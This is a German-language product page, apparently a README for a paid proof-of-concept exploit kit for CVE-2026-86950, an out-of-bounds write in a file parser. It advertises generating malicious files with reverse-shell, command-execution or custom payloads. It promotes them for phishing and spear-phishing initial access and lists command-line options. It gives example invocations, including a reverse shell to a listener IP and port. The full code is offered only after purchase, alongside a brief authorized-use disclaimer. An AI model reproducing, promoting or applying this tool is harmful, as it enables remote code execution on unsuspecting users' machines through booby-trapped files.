deaurity/cve-2026-86950-pocErzeugt präparierte Dateien, die einen Out-of-Bounds-Write für CVE-2026-86950 auslösen, mit Optionen für Reverse Shell, Befehlsausführung und benutzerdefinierte Payloads für Red-Team-Tests.
CVE-2026-86950 (CWE-787).
Out-of-Bounds Write beim Parsen einer speziell präparierten Datei. Fehlende Grenzprüfungen bei Größen-/Offset-Feldern ermöglichen kontrollierte Heap-Korruption, wenn die Zielanwendung die Datei verarbeitet.
Ein nicht authentifizierter Angreifer liefert die Datei aus (E-Mail, Download, Freigabe). Benutzerinteraktion erforderlich (Öffnen/Verarbeiten). Der Code wird mit den Privilegien der parsenden Anwendung ausgeführt.
Nützlich für Red-Team-Phishing-/Spear-Phishing-Kampagnen, Initial Access auf Endpunkten und kontrollierte Codeausführung ohne Netzwerkauthentifizierung.
Nach dem Kauf erhalten Sie das vollständige Paketarchiv.
Entpacken und Abhängigkeiten installieren:
pip install -r requirements.txt
python exploit.py [options]
-o, --output <file> Ausgabe der bösartigen Datei (erforderlich)
-p, --payload <type> reverse | cmd | custom (Standard: reverse)
-L, --lhost <ip> Listener-IP (für reverse)
-P, --lport <port> Listener-Port (für reverse)
-c, --cmd <command> Einzelner auszuführender Befehl
--arch x64|x86 Zielarchitektur (Standard: x64)
Beispiel (Reverse Shell):
python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444
Beispiel (One-Shot-Befehl):
python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"
Liefern Sie die erzeugte Datei an das Ziel. Wenn sie von der verwundbaren Anwendung geöffnet/verarbeitet wird, wird der OOB Write ausgelöst und der Payload ausgeführt.
Nur für autorisierte Red-Team-/Penetrationstest-Nutzung. Unbefugte Nutzung ist illegal.
Vollständiges Paket nur nach Kauf erhältlich.